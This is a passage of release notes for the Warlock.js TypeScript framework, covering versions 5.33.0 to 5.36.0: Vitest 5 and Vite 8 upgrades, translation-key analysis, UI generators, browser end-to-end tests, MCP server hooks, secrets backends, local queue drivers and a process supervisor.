scanTranslationSource,analyzeTranslationGraph,analyzePageTranslationUsage,readTranslationDeclarations,translationDeclarationUsage,isTranslationKeyUsedandmergeTranslationUsage. A usage lists the exact keys (each with its subtree), the static prefixes of template keys, the key-shaped string literals and template heads found anywhere in the walked modules (literals,literalPrefixes), and whether any lookup is dynamic, with the source position of each dynamic lookup. Literal keys, module-level constants, literal choices,useTrans()bindings under any local name, andconfig.translationsdeclarations are resolved; a translator passed on as a value, or a key with no static prefix, is dynamic.isTranslationKeyUsedalso treats a name as the base of its count variants:"cart.items"reachescart.items_oneandcart.items_other, but notcart.itemsTotalorcart.items_one.note. - Added
WL9104:warlock checkwarns when a translation key insrc/webis computed at runtime, because the page that renders it then ships every translation group. The warning points at theconfig.translationsdeclaration that resolves it. - Added
warlock upgradecodemodvite-8-vitest-5(release 5.36.0): raisesvite,vitest,@vitest/*and@vitejs/plugin-reactinpackage.json(dependencies, devDependencies,overrides,resolutions), rewrites a test runner that importsVitestTestRunnerfromvitest/runnerstoTestRunnerfromvitest, and lists removedvitest/*entry points, a Vite configesbuildoption and objectmanualChunksfor review. A 5.36.0 note lists the Vitest 5 default changes. - Changed
warlock add testgenerates a runner that extendsTestRunnerfromvitest(Vitest 5 has novitest/runners) and declaresvitestand@vitest/coverage-v8^5.0.3.warlock add webdeclaresvite^8.3.3and@vitejs/plugin-react^6.1.2. - FixedThe browser end-to-end kit keeps the reason a target was last observed as blocking when
page.click()(and thefill()andtype()calls that click first) or a wait runs out of time. A CDP timeout caused by the shrinking deadline no longer replaces that reason, so the error still reads, for example, "target is covered by DIALOG#modal" instead of a CDP timeout.
- ChangedThe
Matchersaugmentation that typestoRouteTo,toConverge,toPassStepandtoOutputShapefollows Vitest 5'sMatchers<R, T>signature. With Vitest 5 installed,expect(...)keeps its custom matcher types; the augmentation no longer compiles against Vitest 4.
- FixedUnsetting a stored empty object (
model.unset("field")on a field holding{}) is persisted: the model reports the change andsave()issues the$unset. It was silently skipped, because an empty object has no leaves to diff; a spec only passed by reading a mock call left over from an earlier test.
- ChangedThe template pins Vitest 5.0.3. Selecting the test feature generates the runner against Vitest 5's
TestRunner, and a web project declares Vite 8 and@vitejs/plugin-react6. The generator's own dev dependencies use@types/node22, the minimum Vitest 5 supports.
5.35.0October 21, 2026
Design system, web generators, new check rules, API helpers, budgets, accessibility tests and faster test runs. Breaking: root components now run in the browser so hydration covers the full document ancestry (move server-only root work to the root setup loader), and model resources receive hidden columns with hidden enforced on final output. warlock add design-system scaffolds fourteen accessible shadcn controls wired to Mongez React Form, included by default in full-stack and Tailwind + shadcn starters; warlock generate page, form and crud-ui scaffold pages, forms and guarded CRUD screens. warlock check adds WL9013–WL9018 (component size, component-owned state, native controls and validation, controllers without a response schema) and --fix; warlock inspect --section files and warlock explain <file> map files, imports and the routes that reach them. Core adds AppError, listEndpoint, assertResponseContracts, per-page gzip build budgets and page.assertAccessible() with axe-core; tests gain opt-in worker lifetime, setupTest({ mode: "unit" }) and setup profiling. Auth bounds Google and JWKS requests; web keeps sessions in sync after refresh, locale changes and page swaps.
Full release notes or run npx warlock release-notes.
- AddedTyped
AppErrordomain failures with native HTTP handling andhttp.errorResponsecontext, preserving legacy HTTP error behavior. - Added
listEndpointbuilds typed plural-key page responses from validated query controls and repository list callbacks, with bounded limits and explicit sort/filter whitelists. - Added
assertResponseContractschecks real HTTP responses against declared status schemas, with fixtures, resource support and optional complete status coverage. - AddedWeb convention warnings for component size, multiple components, component-owned state/effects and handlers, native form controls and native validation; exported controller response schema warnings (
WL9013–WL9018). Configure severity and component line limits through.warlock-check.json. - Added
warlock check --fixapplies safe relative import extension fixes and exposes available edits through the optional JSONfixfield. - Added
warlock inspect --section fileslists every file undersrc/with its module, convention role, exports and resolved import graph without booting the app. The versioned report schema and MCPinspect_filestool expose the same section. - Added
warlock explain <file>prints exports, importers and transitively reaching routes/pages, with--jsonsupport. Error-code explanations continue to work. - AddedPer-page gzip JS/CSS build budgets with route overrides, warn/error enforcement, previous-build deltas, and
warlock build --jsonreports. Existing apps remain report-only unless limits are configured. - AddedBrowser
page.assertAccessible(options?)using a pinned local axe-core injection over CDP, exact rule/selector allowances, violation diagnostics and accessibility evidence. - AddedOpt-in
tests.lifetime: "worker"for Vitest forks in a single run with a shared module graph (isolate: false) and the generated cleanup runner. Connectors boot once per worker, file boundaries reset fakes/clock/IDs/private storage and awaittests.resetBetweenFiles, and worker cleanup awaits shutdown.getTestRuntimeStats()exposes bootstrap/file counts. Unsafe pools, watch, isolation and missing runner configurations are refused. - Added
setupTest({ mode: "unit", importModule })loads configuration values once per module graph without bootstrap hooks, config special handlers, connectors, fake installation or native loader hooks. - Added
tests.profileSetup/WARLOCK_TEST_PROFILE=1report setup steps and teardown per file, with summaries per worker including final shutdown; the generatedTestSetupReporteraggregates a run summary across workers.setupTest({ file })labels profiles. - Added
recommendedTestWorkers()from@warlock.js/core/viterespects CPU affinity and visible cgroup v2 CPU quotas. Testing docs/skills cover shared HTTP/database contention and affected-tests plus integration release gates, with a full suite nightly. - Added
warlock add design-systemscaffolds app-owned accessible shadcn controls connected to Mongez React Form, with pinned dependencies, a Tailwind preflight before mutations, preservation of existing files, and dry-run support. - Added
warlock generate page <path>scaffolds a UI-only page and setup companion with route, loader and metadata;--interactiveadds a feature hook. - Added
warlock generate form <name> [--module <name>] [--endpoint]scaffolds design-system controls, a shared Seal schema, auseSubmitFormhook and an optional guarded controller/route with validation and response schema. - Added
warlock generate crud-ui <module>scaffolds guarded list/create/edit pages, schema-backed forms, endpoint-derived filters, pagination and a delete action for conventional CRUD modules. All web generators support dry-run JSON reports and preserve existing files unless forced. - ChangedDocument the development devtools captured-mail preview without logging message bodies.
- Changed
warlock check --changedincludes transitive import dependents for scoped lint, conventions and related tests. Changed typecheck diagnostics now include transitive importers. - ChangedNew
warlock add testconfigs split pure*.spec.tsfiles from integration*.test.tsand specs undertests/; only integration loads framework/HTTP setup. Existing configs are preserved. The generated runner requires Vitest 4.1.10 or newer. - ChangedReference workload before this change: 1,335 files, 3,532.79 seconds summed setup, 4,465.55 seconds wall time (reported on 5.33.0). No after measurement was run under the implementation check-once rule. The startup cost model changes from one bootstrap per file to one per active worker plus reset cost; this is not a measured wall-time speedup. Use the new profiling switch to compare the same suite and worker count.
- FixedRestore application-config-only preload for feature generators, preserving configured notification locales and one-shot CLI exit. Correct cleanup test hooks to return void.
- FixedFix CRUD UI generation with the Oxc parser, ES2022-compatible tooling arrays, nullable component bodies, and app-free feature scaffolding. Align inspection CLI tests and convention error-code headings.
- FixedWait for owned MessagePort close events in the test-server disposal regression so referenced handles are actually released.
- FixedRecognize required and optional auth descriptors in route inspection and generated agent summaries, including inherited session guards.
- FixedDescribe optional authentication as an anonymous security alternative in OpenAPI while keeping legacy guards required.
- FixedGenerate notification locale strings for every configured locale with an explicit English fallback.
- FixedExclude co-located tests and test-only directories from configuration discovery and reload.
- FixedRegister module JSON dictionaries in each test worker and remove them during teardown.
- FixedDispose HTTP test-server file runtime resources and pending loader acknowledgements on shutdown and failed startup.
- FixedNative ESM loader registration shares a process-global promise across repeated initialization and module reloads; test startup skips the hook when an importer runs application modules through Vitest.
- AddedAdd the
build-rtl-and-mixed-direction-uiandpreserve-feedback-and-motionagent skill topics, covering RTL layouts and mixed-direction content, and accessible feedback, failure handling and motion patterns. - AddedClient manifest traversal for first-visit and deferred asset sizes, including hydration, page layouts, setup registrations and error boundaries; Rollup module attribution identifies the largest contributors.
- AddedWatched development regression coverage for shared-store connectivity and a characterization of layout form identifier hydration parity.
- Added
build-accessible-controlsskill and design-system documentation cover shared Mongez controls, keyboard and focus behavior, stable ids, RTL, visual checked states, empty/reset semantics, and calendar dates versus instants. - ChangedCorrect the
ClientOnlyopening example to defer browser reads through a function child, and update the navigation and page-guard skill examples to match the real API. - FixedProduction builds no longer fail the client budget report when a setup file has no browser
registerhook; its empty projection adds no bytes. - FixedCarry resolved document slots through the shared hydration payload so navigation data and document-embedded payloads stay identical.
- FixedInclude generated guarded-route output in the page protection skill so its session and useUser examples compile independently.
- FixedBREAKING Hydrate the same full-document root ancestry as SSR, preserving React
useId()and generated form IDs beneath layouts. Root components now execute in the browser; move server-only work to root setup loaders. Client navigation continues to replace the layout/page subtree inside#vessel. - FixedInstall fetched sessions on refresh, locale changes, and central page swaps, including guest sessions; superseded responses cannot publish identity.
- FixedPreserve the shared request-store resolver and request-keyed scopes across server module re-evaluation during development.
- AddedNew projects configure gzip client budgets of 150kb JavaScript and 50kb CSS, enforced by
warlock build. - AddedWeb starter home-page browser spec with accessibility, overflow and screenshot checks at phone and desktop widths; omitted from API-only projects.
- AddedPin the template's Vitest to 4.1.10 for awaited worker cleanup support. Selecting the test feature uses core's unit/integration projects generator, including quota-aware worker sizing and the cleanup runner, while preserving existing configs.
- AddedUpdate the testing-strategy project skill and scaffolding docs with matching file conventions, cheap unit configuration, opt-in worker lifetime/reset hooks, setup profiling and an affected-tests plus integration release gate with full suites nightly.
- AddedFull-stack and Tailwind + shadcn selections include fourteen accessible app-owned form controls, separate behavior hooks and props types, and exact UI dependency pins. The optional template and add-command payload share an integrity contract.
- AddedTemplate web standards name the shared controls and their direct web-alias imports; template verification includes the optional sources.
- ChangedAdd a state ownership rule to the web code standards skill: loader data is server truth, and shared client state lives in named store modules.
- ChangedTeach the project API design skill to use typed domain errors, bounded list endpoints and response-schema contract assertions. The starter formatter preserves explicitly safe
AppErrormessages and details through its native typed context. - FixedKeep the existing-Tailwind design controls label within narrow terminal rows and supply the ResizeObserver test adapter needed by Radix form inputs in jsdom, and complete async submission fixtures before resubmitting. Pin matching React and React DOM test dependencies for standalone runs.
- FixedRestore session middleware response fixtures, keep session projection defaults typed as unknown, and skip renewal without an explicit user type.
- FixedExclude expired refresh rows from session caps while preserving oldest-first eviction.
- FixedBound Google token and JWKS requests with configurable
timeoutMs,fetchandendpointsoptions; retain all identity checks and isolate JWKS caches. - FixedReject unavailable refresh families outside the transaction callback so expected credential rejection is not logged as a database failure.
- FixedPublish required/optional session guard descriptors and markers for grouped route inspection.
- FixedBREAKING Model resources receive hidden columns for public field derivations;
hiddenis enforced on final resource output instead of its input.
5.34.3October 20, 2026
One concise agent skill per package, stronger starter standards, and one JSON error shape. Every package exports exactly one skill named after it, with package-level descriptions of at most 450 characters (about 13,300 characters in total, down from 22,900). New apps get revised project skills: single-responsibility components, Mongez React Form validation only, custom accessible controls on the project's UI kit, camelCase response fields, { error: { code, message } } errors, responseSchema and Idempotency-Key guidance, and Oxlint rules that enforce them. Core adds the opt-in http.errorResponse formatter for every JSON error, ResponseStatus gains 413 and 422, and warlock e2e gains browser.startupTimeoutMs (default 30 seconds).
Full release notes or run npx warlock release-notes.
- ChangedNew app models expose a separate public UUID; sample post updates and user filters resolve public IDs, and user lists return the documented pagination envelope.
- ChangedEnable non-type-aware Oxlint rules for explicit any, braces, member accessibility, and console usage in both scaffold toolchain copies.
- ChangedStrengthen the web code standards skill with single-responsibility components, Mongez React Form validation, accessible custom controls, and explicit UI kit selection; consolidate setup-file guidance and correct typed-route advice.
- ChangedThe agent skill now exports as
create-warlock; package discovery descriptions stay within 450 characters. - FixedDeclare response schemas for every starter controller, including authentication and the API home page.
- FixedKeep the public UUID integrity assertion independent of formatter line breaks while checking the complete schema default callback.
- FixedAlign project skills with real handler signatures, resource source-key tuples, public UUIDs, response schemas, idempotency headers, and the canonical JSON error envelope. Keep discovery descriptions within 450 characters and resolve cross-skill references by name.
- FixedExtract contact locale and form-control behavior into feature hooks and separate components with dedicated props types; preserve form interactions and consume normalized validation details.
- AddedOpt-in
http.errorResponseformats JSON error bodies at the transport boundary, including framework validation, unmatched routes, early parsing errors, rate limits and server errors, with a correlated request ID. Existing bodies remain unchanged unless configured. - ChangedKeep the upgrade toolchain's enabled explicit-any, brace and console rules in sync with the new-app scaffold.
- ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
- Fixed
warlock e2ewaits up tobrowser.startupTimeoutMs(new option, default 30 seconds instead of a fixed 15) for the browser's DevTools endpoint, so a slow first launch on a busy machine no longer fails the run. - Fixed
ResponseStatusincludes 413 (CONTENT_TOO_LARGE) and 422 (UNPROCESSABLE_ENTITY), the statusesresponse.contentTooLarge()andresponse.unprocessableEntity()send, soresponseSchemacan declare them. - FixedType Fastify error-response hook and test handler parameters explicitly, and align upgrade fixture expectations with the enabled explicit-any, brace and console rules.
- ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
- ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
- ChangedThe agent skill now exports as
warlock-js-ai-anthropic; package discovery descriptions stay within 450 characters.
- ChangedThe agent skill now exports as
warlock-js-ai-bedrock; package discovery descriptions stay within 450 characters.
- ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
- ChangedThe agent skill now exports as
warlock-js-ai-deepseek; package discovery descriptions stay within 450 characters.
- ChangedThe agent skill now exports as
warlock-js-ai-google; package discovery descriptions stay within 450 characters.
- ChangedThe agent skill now exports as
warlock-js-ai-groq; package discovery descriptions stay within 450 characters.
- ChangedThe agent skill now exports as
warlock-js-ai-live; package discovery descriptions stay within 450 characters.
- ChangedThe agent skill now exports as
warlock-js-ai-mistral; package discovery descriptions stay within 450 characters.
- ChangedThe agent skill now exports as
warlock-js-ai-ollama; package discovery descriptions stay within 450 characters.
- ChangedThe agent skill now exports as
warlock-js-ai-openai; package discovery descriptions stay within 450 characters.
- ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
- ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
- ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
- ChangedThe agent skill now exports as
warlock-js-ai-xai; package discovery descriptions stay within 450 characters.
- ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
- ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
- ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
- ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
- ChangedThe agent skill now exports as
warlock-js-devtools; package discovery descriptions stay within 450 characters.
- ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
- ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
- ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
- ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
- ChangedThe agent skill now exports as
warlock-js-process; package discovery descriptions stay within 450 characters.
- ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
- ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
- ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
- ChangedThe agent skill now exports as
warlock-js-sitemap; package discovery descriptions stay within 450 characters.
- ChangedCondensed the package agent skill description to at most 450 characters, with API names and package routing guidance.
5.34.2October 19, 2026
One complete skill index per package. Skills only; no runtime or API changes. The framework issue-reporting guide is now the report-framework-issue topic of @warlock.js/core, so agent-kit delivers it to apps (it was a loose file that never reached them). Every package index lists all of its topics, stale references are fixed, nine duplicate overview topics are merged into their indexes, and the hand-maintained skills/README.md catalogs are removed in favour of skills/index.md. The release gate and CI now fail when an index names a missing topic, leaves one out, or a package ships a loose skill file.
Full release notes or run npx warlock release-notes.
- FixedMerge package orientation into the grouped skill index and remove the duplicate overview topic; preserve that orientation in generated LLM projections.
- FixedQualify provider and companion package references in the grouped index, remove the redundant loose catalog, and include package orientation in LLM projections.
- FixedReplace the loose skill catalog with a package index that points to the provider setup topic, and include orientation in generated LLM projections.
- FixedReplace the loose skill catalog with a package index that points to the provider setup topic, and include orientation in generated LLM projections.
- FixedKeep the package skill description within the recommended size, remove the redundant loose catalog, and include package orientation in LLM projections.
- FixedReplace the loose skill catalog with a package index that points to the provider setup topic, and include orientation in generated LLM projections.
- FixedReplace the loose skill catalog with a package index that points to the provider setup topic, and include orientation in generated LLM projections.
- FixedReplace the loose skill catalog with a package index that points to the provider setup topic, and include orientation in generated LLM projections.
- FixedRemove the redundant loose skill catalog and include package orientation in generated LLM projections.
- FixedQualify custom-tool guidance as a topic of @warlock.js/ai, remove the redundant loose skill catalog, and include package orientation in LLM projections.
- FixedPoint the README at the package skill index, remove the redundant loose catalog, and include orientation in generated LLM projections.
- FixedMerge package orientation into the grouped skill index and remove the duplicate overview topic; preserve that orientation in generated LLM projections.
- FixedMerge package orientation into the grouped skill index and remove the duplicate overview topic; preserve that orientation in generated LLM projections. List the cache utility topic in the index and fix the orientation link.
- FixedRemove the redundant loose skill catalog and include package orientation in generated LLM projections.
- FixedMerge package orientation into the grouped skill index and remove the duplicate overview topic; preserve that orientation in generated LLM projections.
- FixedExport framework issue-reporting guidance as a proper skill topic; complete index coverage for browser testing and upgrade guidance, and include package orientation in LLM projections.
- FixedMerge package orientation into the grouped skill index and remove the duplicate overview topic; preserve that orientation in generated LLM projections.
- FixedRemove the redundant loose skill catalog and include package orientation in generated LLM projections.
- FixedMerge package orientation into the grouped skill index and remove the duplicate overview topic; preserve that orientation in generated LLM projections.
- FixedPoint the README at the package skill index, remove the outdated loose catalog, and include orientation in generated LLM projections.
- FixedMerge package orientation into the grouped skill index and remove the duplicate overview topic; preserve that orientation in generated LLM projections.
- FixedMerge package orientation into the grouped skill index and remove the duplicate overview topic; preserve that orientation in generated LLM projections.
- FixedMerge package orientation into the grouped skill index and remove the duplicate overview topic; preserve that orientation in generated LLM projections.
- FixedKeep the package skill description within the recommended size and include its orientation in generated LLM projections.
5.34.1October 19, 2026
Page setup files become the documented way to add page logic, plus MCP and secrets fixes. A page's config, loader, register and action/actions live in its *.setup.ts file and its UI file holds only components; metadata always lives in config.metadata. A new Page setup files guide, and every web docs example, skill, the starter template and the page/layout/root generators follow it; the setup-file error lists every allowed export. ai-tools: tools from a remote MCP server now show the model their real input schema (Standard JSON Schema), and ai.mcp.serve HTTP transports accept onAuthRefusal to keep an app's own auth-error response, with Host/Origin checks unchanged. Core: secrets.backend() reports whether the keychain, encrypted-file or memory backend is active, reusing core's own selection. Docs: tables in MDX pages render again. No breaking changes.
Full release notes or run npx warlock release-notes.
- AddedHTTP
transport.onAuthRefusalcustomizes denied authentication responses for the MCP endpoint and side routes using typed safe context, 4xx/5xx statuses, allowlisted headers and JSON bodies. Host/Origin guards retain precedence, invalid or throwing hooks retain the default refusal, and handlers never run after a denial. - FixedTools adapted from a remote MCP server now show the model their real input schema.
jsonSchemaToStandardimplements Standard JSON Schema (~standard.jsonSchema), soextractJsonSchemaand every provider adapter read the server'sinputSchemainstead of falling back to a parameterless{ type: "object" }, which made models guess argument names and retry. Adapters receive copies of the schema; a tool without one advertises{ type: "object", properties: {} }.
- AddedAsync
secrets.backend()andSecretStore.backend()report"keychain","file"or"memory"without credentials, sharing lazy selection and its memoized keychain probe. Resolved driver configuration, environment lookups and injected backend metadata have documented reporting semantics; memory fakes report"memory"without probing. - ChangedGenerate
root.setup.tsandindex.setup.tswith Web starter policy and universal registration, keeping the UI files focused on components.
- FixedList all five allowed setup exports (
config,loader,register,action,actions) in composition errors. - FixedCorrect Web documentation and skills to keep page, layout, root, and error logic in setup files, with metadata in
config.metadata; add a complete page setup guide.
- ChangedDocument setup-file ownership in the Web starter and its code standards; retain metadata in
config.metadataand cover UI/setup pairs in template integrity specs.
5.34.0October 19, 2026
ESLint and Prettier support removed, plus multi-file transactions, browser end-to-end tests, an AI tool catalogue, a local queue driver and MCP serving hooks. The ESLint checker, --lint eslint, devServer.healthCheckers.eslint and Prettier scripts are gone; each removed option fails with a message naming 5.34.0, and no published package depends on ESLint or Prettier. warlock upgrade --from 5.33 --to 5.34.0 migrates apps and now ports custom ESLint rules to Oxlint where an equivalent exists, reporting the rest; new and migrated apps enable Oxlint's correctness rules, and npm apps with a pnpm-workspace.yaml get the right install hint. fs: fs.transaction() stages multi-file writes with read-your-writes, hash or epoch preconditions, a durable journal with crash recovery, operation-id replay and consistent reads. Core: warlock e2e and @warlock.js/core/e2e drive Chrome or Edge over the DevTools protocol with hit-tested clicks, overflow checks at 1280 and 390 px, console and network checks, evidence and PID-verified teardown; an in-memory secrets backend for built-app tests. AI: ai.tools.catalogue() advertises a small core plus governed search and call meta-tools; ai.mcp.serve adds listFilter, HTTP transport.routes, validateCallParams and keeps McpError codes. Queue: driver: "local" (SQLite via node:sqlite, no Redis) and driver: "memory". Seal: v.record(key, value). Web: refresh events carry a reason, and shared data stays fresh across shell swaps. Breaking: ESLint/Prettier removal, Oxlint correctness rules, v.object() refuses arrays and non-plain objects.
Full release notes or run npx warlock release-notes.
- AddedSelect an isolated in-memory secrets backend through
SECRETS_DRIVER=memoryorsecrets.driver, including built-server test deployments and explicitSecretStoreoptions. Configuration overrides the environment; unknown drivers fail closed. - AddedRefuse the memory driver under
NODE_ENV=productionunlessallowMemoryInProduction: trueis explicitly configured; preserve log masking and namespace isolation without keychain/environment/file access. - AddedAdd
warlock e2eand the isolated@warlock.js/core/e2eNode subpath: owned app/build fixtures and browser profiles, direct CDP with native WebSocket, stable hit-tested clicks, editable text and navigation waits, responsive screenshots and overflow assertions, console/network allowlists, per-run evidence and PID-verified process-group cleanup. Include fake-CDP coverage, real-browser integration specs and a complete browser-testing guide/skill. - Added
oxc-toolchain-removalruns onwarlock upgrade --from 5.33 --to 5.34.0, reusing the preserved 5.33oxc-toolchainmigration. It ports literal folder restrictions, native TypeScript rule equivalents, unused-import checks, globals and ignores; unsupported rules/options report their source and file scope without executing config. Native type-aware equivalents enable the optional app engine automatically. - ChangedBREAKING Migrated template configs enable Oxlint
correctness: error; stale literalhealthCheckers.eslintoptions are removed. - FixedDetect a real lockfile beside
pnpm-workspace.yamlbefore treating the directory as pnpm. npm apps with onlypackage-lock.jsonnow receive the correct install hint. - FixedValidate Postman draft-04 schemas with an explicit development-only Ajv adapter instead of resolving ESLint's private dependency. Generated source formatting checks use Oxfmt.
- RemovedBREAKING Remove the ESLint development checker, CLI selection, checker config option and production dependency.
warlock check --lint eslintnow fails with the 5.34.0 removal and Oxlint/Oxfmt migration guidance.
- Added
ai.mcp.servesupports asynclistFilter(context, tools)for per-request discovery independent of callability, andvalidateCallParams(context, params)for application envelope policy before lookup, schema validation and call policy, over HTTP and stdio. Default handling of unknown fields and unsupported task metadata is unchanged. - AddedHTTP
transport.routesadds exact method/path application routes beneath the MCP URL with shared authentication, principal/context, Host/Origin guards, body limits, disconnect signals and shutdown draining. Conflicting or invalid route configuration fails before binding. - AddedExport
McpError(code, message, data?)and the new discovery, envelope and HTTP route contracts. - Fixed
beforeCalland envelope policy preserve a thrownMcpError's integer code, message and optional data, including official SDK errors, without a runtime SDK dependency. Other throws retain the existing invalid-params mapping. - FixedExtend the core
ai.toolsnamespace on registration, preservingcatalogueandmeasurewhile adding the ready-made factories.AiToolsNamespaceremains re-exported for consumers.
- AddedSelect
driver: "local"for durable single-host SQLite queues using Node's built-innode:sqlitewithout Redis, ordriver: "memory"for tests executing real handlers. Existing configuration defaults to BullMQ. - AddedA shared
QueueDrivercontract andgetQueueDriver()for dispatch, snapshots, failed-job recovery, and worker lifecycle across all backends. - AddedLocal/memory delays, priorities, retries with fixed/exponential backoff, retention, per-queue concurrency, context propagation, progress, and results through the existing
defineJob()API. - AddedTransactional claims, renewable fenced leases, recovery after worker crashes, and bounded graceful shutdown releasing unfinished local jobs. Local/memory handlers receive an optional cancellation
signal.
- Added
v.record(keyValidator, valueValidator, errorMessage?)validates original property names and values, infers partial literal-key dictionaries, and emits key JSON Schema. Existing value-only and error-message forms remain supported. - ChangedBREAKING
v.object()requires a plain or null-prototype object; arrays, built-ins, class instances and custom prototypes fail even with unknown-key options enabled. - FixedReject malformed record validator arguments at schema definition with a clear
TypeError. - RemovedRemove the remaining ESLint, Prettier and typescript-eslint development dependencies; package linting and formatting use Oxlint/Oxfmt.
- Added
fs.transactionandfs.openTransactions: root-scoped multi-file staging with read-your-writes, content-hash/root-epoch preconditions, process ownership, durable intent journals, automatic roll-forward recovery and operation-id result replay. - AddedRead-only
fs.inspectTransactions, bounded epoch-checkedfs.read, and root-boundread/readManyfor consistent snapshots. Document single-host cooperating-process limits and explicit file-only durability on Windows. - AddedOptional
atomicWriteAsync(path, content, { durability: "file" | "full" })flushes file bytes before rename and, with full durability, directory entries afterward. Existing unflushed defaults remain unchanged.
- FixedValidate supervisor configuration before accessing options; errors name the missing or invalid
ownerorregistryoption. - SecurityStrip guardian ownership and launch variables from macOS/Windows workload environments, including Windows casing aliases. Guardian proof remains intact; Linux retains its
/procownership token.
- AddedRefresh lifecycle events carry a
reasondistinguishing explicit refreshes from live-data, polling/reconnect and focus revalidation. ExportRefreshReasonandRefreshOptions; allow app-owned backgroundrefresh({ reason })calls. - FixedSeal and publish each successful page/shell swap's shared snapshot at the central swap boundary, updating retained
useShared()consumers.
- ChangedBREAKING Enable Oxlint
correctness: errorin the only app template. Move the footer's year calculation outside render to satisfy its purity check. Standalone specs use locally declared, pinned Oxlint/Oxfmt tools. - RemovedBREAKING Remove the ESLint/Prettier scaffold, prompt, configs, dependencies and TypeScript 6.0.3 compatibility pin.
--lint eslintfails before scaffolding and names 5.34.0 and the Oxlint/Oxfmt default. Remove Prettier compatibility scripts and validation paths.
- Added
ai.tools.catalogue({ core, searchable, limit?, searchName?, callName? })(alsocatalogue) keeps a stable advertised core plus bounded schema search and governed hidden calls. Supports deterministic name/description/tag ranking, lazy cached tool loading, provider-tool passthrough, durable inventory drift detection and measurement withai.measure/ai.tools.measure. Hidden calls resolve before the normal agent tool pipeline so target validation, policy, HITL, accounting, context and tracing remain intact.
- RemovedRemove the remaining ESLint and Prettier development dependencies; package linting and formatting use Oxlint/Oxfmt.
5.33.0October 19, 2026
Oxlint + Oxfmt become the only default toolchain, plus MCP request context, live page data, app-scoped secrets, AI measurement, PM2 commands and a new process supervisor. ESLint and Prettier are off by default and deprecated (removal in 5.34.0): an ESLint config alone no longer enables checks, and warlock upgrade --from 5.32 --to 5.33.0 migrates an app to Oxlint/Oxfmt. AI: ai.mcp.serve passes requestId, an authenticated principal and cancellation signals to tools, with beforeCall policy after input validation; ai.measure() and warlock ai measure report per-part input tokens and cost, with measure.diff. Web: pages opt into config.live for loader refreshes pushed over sockets with polling fallback, driven by invalidatePageCache(tags). Core: secrets.get/set/remove/has with OS keychain, scoped environment and encrypted-file backends and log masking; warlock pm2 init/reload with PM2 readiness after boot. Devtools: an AI panel on Panoptic traces and a Processes panel. New package @warlock.js/process (warlock add process) supervises app-owned workers on Linux, macOS and Windows with token and start-time identity, group stops and memory caps. Breaking: ESLint/Prettier no longer selected automatically, MCP cancellation and policy order, secret fakes in default test setup.
Full release notes or run npx warlock release-notes.
- AddedAdd application-owned process supervision with random environment tokens, PID/start-time registry identity, safe group stops, label filtering, boot recovery and shutdown cleanup.
- AddedExpose streamed worker handles, exit reasons and peak memory; lazily load optional
node-ptyfor terminals. - AddedSupport macOS without custom native code: parse
psstart time underLC_ALL=C TZ=UTCand verify the inherited random environment token through a live Node launch guardian. - AddedSupport Windows with PowerShell/CIM creation identity, the guardian's inherited token, PID-only
taskkill /T /Ftree stops, tree working-set polling, timeouts, recovery and optional node-pty/ConPTY terminals. Job Objects remain a future improvement. - AddedMake platform command construction, parsing and launch plans pure and observation injectable for Linux-hosted macOS/Windows specs; reject truly unsupported operating systems with
UnsupportedProcessPlatformError. - AddedAttempt Linux cgroup v2 before user code executes, with inherited rlimit/RSS fallback; document softer macOS rlimit/tree RSS and Windows tree RSS enforcement, guardian memory overhead and POSIX-only CPU limits.
- AddedIntegrate
warlock add processand a read-only devtools process panel.
- Added
oxc-toolchain, a 5.33.0warlock upgradecodemod, migrates generated configs, package scripts/dependencies, editor settings and literal dev health switches to Oxlint/Oxfmt. Customized files are retained with file:line review guidance; additions and deletions honor--dry-runand--json. - ChangedBREAKING ESLint no longer starts from config detection alone in the dev server or
warlock check. TypeScript and configured Oxlint remain the default health checkers;checkdefaults to Oxlint. - ChangedCompleted application boot now sends PM2's
"ready"IPC message without disconnecting its channel; the existingwarlock startreadiness protocol remains supported. Cluster workers skip the exclusive port preflight so they can share their primary's listener during rolling reloads. - FixedType the socket connector’s raw HTTP(S) server across asynchronous listener startup; keep native-keyring test doubles declaration-safe and cover the documented
check --lintoption. - FixedSocket-only connector boot awaits its listener and rejects bind failures before application readiness can be announced.
- DeprecatedESLint/Prettier support is removed in 5.34.0. Explicit ESLint opt-ins emit one deprecation warning per process on stderr with migration instructions.
- AddedAI panel at
/__warlockand AI runs in HTTP request details, powered by optional@warlock.js/ai-panoptic: model, token/cache usage, historical cost, provider cache-hit trips, tool timings, retries, truncation and compaction metadata. - AddedRead-only AI list/detail endpoints and
aistream updates behind the existing development/loopback guard, with install guidance when Panoptic is unavailable. - AddedBounded content-free trace retention, request-local correlation and cleanup with the dashboard Clear action and connector shutdown; application exporter/cache stores remain independent.
- AddedAdd a read-only Processes panel and guarded
/api/processesendpoint, discovering the application registration generated bywarlock add processonly in development.
- AddedPage-owned
config.live: { tags, pollInterval }re-runs matching loader pipelines afterinvalidatePageCachebroadcasts through core's Socket.IO adapter.configureLivePageData({ socket })reuses an app-owned client and falls back to polling without a connected socket. - AddedLive updates wait for navigation and unsent
<Form>input, discard in-flight responses when editing begins, and bypass page caches. Document shared-cache/socket-adapter requirements for multiple processes and publishing workers. - ChangedUse root Oxlint/Oxfmt binaries and configuration for package lint/fix and format scripts. Legacy ESLint/Prettier dependencies and configs remain until the 5.34.0 removal.
- FixedKeep live-refresh cleanup free of control-flow overrides, exercise relative navigation URLs in the live-refresh regression, and demonstrate binding an application-owned socket without an undeclared client import.
- Added
